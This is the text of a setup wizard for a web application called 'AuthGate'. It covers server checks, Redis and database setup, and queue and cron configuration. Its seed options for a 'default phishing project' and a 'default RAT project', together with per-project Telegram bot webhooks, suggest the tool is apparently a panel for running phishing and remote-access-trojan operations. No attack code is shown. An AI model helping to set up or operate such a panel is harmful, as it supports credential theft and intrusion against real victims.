AuthGate
First-Time Setup Wizard
Step 1 — Server Requirements
Checking that your server meets all requirements. All must pass before continuing.
-
○
-
○
PDO MySQL extension
Checking…
-
○
Redis client available
Checking…
-
○
storage/ writable
Checking…
-
○
bootstrap/cache/ writable
Checking…
-
○
Delete .env and restart from the beginning?
Step 3 — Redis
Redis powers sessions, queue, and cache. Enter your Redis server details and test before saving.
phpredis
Delete .env and restart from the beginning?
Step 4 — Database Setup
Run all migrations and seed the default project templates. Safe to re-run if already applied.
- Run all migrations
- Seed default phishing project
- Seed default RAT project
Delete .env and restart from the beginning?
Setup Complete
AuthGate is installed and ready.
✓
Site URL
—
✓
Database
—
✓
Redis
—
✓
Admin account
—
Still required before first use
Queue Worker
Linux/Plesk (Horizon): php artisan horizon as a systemd daemon.
Windows dev: php artisan queue:listen --tries=1 --timeout=0 in a terminal.
Scheduler (cron)
Add to crontab: * * * * * php /path/to/artisan schedule:run >> /dev/null 2>&1
Telegram Bot (per project)
Admin panel → open a project → Settings → Telegram Override → set bot token + chat ID → Register Webhook.